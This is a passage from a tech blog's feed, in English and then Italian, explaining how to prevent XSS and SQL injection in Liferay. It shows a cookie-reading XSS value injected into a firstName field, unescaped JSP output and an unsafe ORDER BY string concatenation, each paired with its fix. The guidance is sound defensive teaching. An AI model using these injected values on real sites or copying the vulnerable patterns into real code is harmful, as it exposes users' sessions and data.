class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Hello,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;XSS!&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;stored-server-xss-attack---example&quot;&gt;Stored Server XSS Attack - example&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;💻 &lt;strong&gt;CLIENT&lt;/strong&gt;: malicious code is submitted via the HTTP-request parameters or body&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;firstName=&amp;#x27;;alert(document.cookie);&amp;#x27;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;2&quot;&gt;&lt;li&gt;🌍 &lt;strong&gt;SERVER&lt;/strong&gt;: the model entity is updated on persistence layer with untrusted data:&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;customer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setFirstName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(firstName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;_customerService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;updateCustomer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(customer);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;3&quot;&gt;&lt;li&gt;🌍 &lt;strong&gt;SERVER&lt;/strong&gt;: dynamically generated response includes stored untrusted data,
exposing the application to an XSS vulnerability because it misses the JS-escaping:&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;aui:script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; var firstName = &amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;%= c.getFirstName() %&amp;gt;&amp;#x27;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;aui:script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;4&quot;&gt;&lt;li&gt;💻 &lt;strong&gt;CLIENT&lt;/strong&gt;: the browser shows the response page executing the injected malicious
code, which now is also stored, even after a page refresh.&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;html&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;firstName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;XSS attacks could be &lt;strong&gt;neutralized&lt;/strong&gt; performing output escaping:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;every time you dynamically set an attribute value or content in a raw-HTML
element from an untrusted source (HTTP-request parameters);&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;when using Java variables &lt;code&gt;&amp;lt;%= ... %&amp;gt;&lt;/code&gt; on jsp inside &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; elements;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;when defining customized taglibs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Here are some examples of HtmlUtil usage:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Hello, &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;%= HtmlUtil.escape(firstName) %&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;11&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;%= HtmlUtil.escapeAttribute(title) %&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;12&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;%= HtmlUtil.escapeHREF(detailsURL) %&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;13&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;aui:script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; var firstName = &amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;%= HtmlUtil.escapeJS(c.getFirstName())%&amp;gt;&amp;#x27;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;aui:script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;some-useful-tips-to-protect-against-xss-attacks&quot;&gt;Some useful tips to protect against XSS attacks&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;untrusted data should always be validated and sanitized before stored or
processed for the output response. Enums or constants could be used for
values mapping when the input parameters are strings;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;use Liferay frontend taglibs, and &lt;a href=&quot;https://docs.liferay.com/portal/7.0/javadocs/portal-kernel/com/liferay/portal/kernel/util/HtmlUtil.html&quot;&gt;HtmlUtil&lt;/a&gt;
to perform output escaping.
Escaping the output values in dynamic response page will neutralize injected
code as well as &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; elements or JavaScript snippets, preventing the
execution by the web-browser;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;be aware of custom JavaScript code which directly modifies DOM nodes. Unsafe
JavaScript code could reveal in a vulnerability to &lt;strong&gt;Client XSS Attacks&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;&lt;p&gt;Injection is one of the most common attack on web applications.
Defense strategies against Injection attacks are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;prevention&lt;/strong&gt; by validation of untrusted data before
it could be stored or processed for the output response;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;neutralization&lt;/strong&gt; by output escaping or sanitization.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Liferay ensures the highest security level in both the community (CE)
and the enterprise (DXP) editions, and supports the developer to keep
the security level high even when providing new solutions.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk17 { color: #808080; }
  .default-dark .mtk14 { color: #F44747; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Injection - come prevenire con Liferay]]></title><link>https://techblog.smc.itinjection-attacks-how-to-prevent-with-liferay</link><guid isPermaLink="false">https://techblog.smc.itinjection-attacks-how-to-prevent-with-liferay</guid><pubDate>Fri, 19 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Un attacco di tipo Injection consiste nell&amp;#x27;invio di codice
o comandi malevoli che possono essere poi interpretati ed eseguiti
dall&amp;#x27;applicazione.&lt;/p&gt;&lt;p&gt;L&amp;#x27;attacco di tipo Injection è attualmente primo nella classifica
&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top Ten&lt;/a&gt;,
ed è composto da diverse categorie a seconda del linguaggio o del tipo di comando.&lt;/p&gt;&lt;div class=&quot;Quote-module--content--25D05&quot;&gt;&lt;blockquote&gt;&lt;p&gt;Taken together, injection attacks are a huge percentage of the serious
application security risk. Many organizations have poorly thought through
security controls in place to prevent injection attacks.
— &lt;cite&gt;&lt;a href=&quot;https://owasp.org/www-community/Injection_Theory&quot;&gt;OWASP, about the injection attacks&lt;/a&gt;&lt;/cite&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;In questo articolo focalizzeremo la nostra attenzione su due particolari tipologie di Injection:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SQL Injection (SQLi) – quando avviene una injection di &lt;em&gt;query&lt;/em&gt; o &lt;em&gt;comandi&lt;/em&gt; SQL&lt;/li&gt;&lt;li&gt;Cross-Site Scripting (XSS) – quando avviene una injection di script interpretabili dal &lt;em&gt;browser&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;mostrando come le soluzioni offerte dal &lt;a href=&quot;https://www.liferay.com&quot;&gt;Portale Liferay&lt;/a&gt;
possono aiutarti nel prevenire gli attacchi di tipo injection, tenendo alto il livello di sicurezza.&lt;/p&gt;&lt;h1 id=&quot;liferay-portal-security&quot;&gt;Liferay Portal Security&lt;/h1&gt;&lt;p&gt;Liferay segue le &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top 10&lt;/a&gt; e le
&lt;a href=&quot;https://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html&quot;&gt;CWE/SANS Top 25&lt;/a&gt;
per garantire il più alto livello di protezione possibile contro diversi tipi di attacchi.&lt;/p&gt;&lt;p&gt;Di seguito alcune tipologie di attacchi inclusi in entrambe le OWASP
Top Ten e le CWE/SANS Top 25 e contro i quali Liferay ti garantisce
il più alto livello di protezione possibile:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/Injection_Theory&quot;&gt;Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/csrf&quot;&gt;Cross-Site Request Forgery (CSRF)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/Broken_Access_Control&quot;&gt;Broken Access Control&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;Unrestricted file upload&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Clickjacking&quot;&gt;Clickjacking&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Path_Traversal&quot;&gt;Path traversal&lt;/a&gt;&lt;/li&gt;&lt;li&gt;...e molti altri ancora.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Liferay &lt;a href=&quot;https://portal.liferay.dev/learn/security/overview&quot;&gt;si prende cura della sicurezza del portale&lt;/a&gt;,
sia nelle edizioni community (CE) che nelle edizioni enterprise (DXP),
mantenendo sempre aggiornati gli
&lt;a href=&quot;https://portal.liferay.dev/learn/security/known-vulnerabilities&quot;&gt;elenchi delle vulnerabilità note&lt;/a&gt;,
ed il proprio &lt;a href=&quot;https://liferay.com/security&quot;&gt;security statement&lt;/a&gt;.&lt;/p&gt;&lt;h1 id=&quot;sql-injection-sqli&quot;&gt;SQL Injection (SQLi)&lt;/h1&gt;&lt;p&gt;SQL Injection consiste nell&amp;#x27;invio di comandi (o query) SQL sfruttando la mancata validazione
degli input dell&amp;#x27;utente lato client.&lt;/p&gt;&lt;p&gt;A seconda dei privilegi dell&amp;#x27;utente sul database preso di mira, l&amp;#x27;attaccante potrebbe effettuare:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;insert, update o delete di righe su tabelle già esistenti&lt;/li&gt;&lt;li&gt;ottenere dati sensibili dalle tabelle (comando select)&lt;/li&gt;&lt;li&gt;drop delle tabelle&lt;/li&gt;&lt;li&gt;eseguire comandi di amministrazione, come ad esempio lo shutdown del database
ottenendo così un attacco di tipo &lt;a href=&quot;https://owasp.org/www-community/attacks/Denial_of_Service&quot;&gt;DoS&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Uno dei benefici nell&amp;#x27;utilizzo di Liferay è nel fatto che il livello di persistenza generato dal
&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360018160851-What-is-Service-Builder-&quot;&gt;Service Builder&lt;/a&gt; è ideato
in modo tale da prevenire attacchi di tipo SQL Injection (&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360018179071-Developing-Custom-SQL-Queries&quot;&gt;maggiori dettagli&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;Quando la soluzione offerta dal Service Builder non dovesse essere sufficiente,
Liferay ti aiuta a mantenere alto il livello di sicurezza contro gli attacchi di tipo SQL Injection
anche nella definizione dei Custom Finder.
Tuttavia, occorre prestare attenzione nell&amp;#x27;implementazione dei custom Finder e seguire
le &lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360030614252-Defining-a-Custom-Finder-Method&quot;&gt;istruzioni&lt;/a&gt;
fornite dalla documentazione ufficiale di Liferay.&lt;/p&gt;&lt;p&gt;In particolare:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;ogni query personalizzata deve essere contenuta nell&amp;#x27;element &lt;code&gt;&amp;lt;custom-sql&amp;gt;&lt;/code&gt; all&amp;#x27;interno di
&lt;strong&gt;custom-sql/default.xml&lt;/strong&gt; e la query sql deve essere inclusa in un &lt;code&gt;&amp;lt;![CDATA[...]]&amp;gt;&lt;/code&gt;,
e non deve mai terminare con il punto-e-virgola;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;i parametri delle query devono essere aggiunti utilizzando &lt;code&gt;QueryPos&lt;/code&gt;
che effettua sempre output escaping. La validazione dei parametri da
sorgenti non affidabili è obbligatoria così come per i nomi delle colonne
della clausola order-by provenienti dalla request.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;La validazione dei dati provienienti dai parametri della request HTTP è la chiave
per prevenire gli attacchi di tipo SQL injection.&lt;/p&gt;&lt;p&gt;Nell&amp;#x27;esempio seguente mostreremo per quale motivo i nomi delle colonne nelle
clausole &lt;code&gt;order-by&lt;/code&gt; non devono mai provenire direttamente dalla request senza
essere prima validati, e come un attacco di tipo injection nelle clausole &lt;strong&gt;order-by&lt;/strong&gt;
può ridurre in modo significativo il numero totale dei tentativi necessari a
scoprire il valore di una determinata colonna.&lt;/p&gt;&lt;p&gt;Supponiamo di aver esteso il model aggiungendo una nuova entità &lt;strong&gt;Vendor&lt;/strong&gt;,
introducendo una vulnerabilità nell&amp;#x27;implementazione del finder:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sql = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;StringUtil&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(sql, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;[$ORDER_BY$]&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,	&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot; ORDER BY &amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; + orderBy);  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// unsafe&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;la versione &lt;em&gt;sicura&lt;/em&gt; prevede l&amp;#x27;utilizzo di &lt;code&gt;BasePersistenceImpl.appendOrderByComparator()&lt;/code&gt;:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;StringBundler&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;StringBundler&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (orderByComparator != &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;appendOrderByComparator&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(sb, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Vendor.&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, orderByComparator);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sql = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;StringUtil&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(sql,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;[$ORDER_BY$]&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;con questa vulnerabilità, ad esempio, l&amp;#x27;attaccante potrebbe sfruttare il parametro
&lt;code&gt;orderByCol&lt;/code&gt; del SearchContainer sulla pagina di ricerca dei vendors,
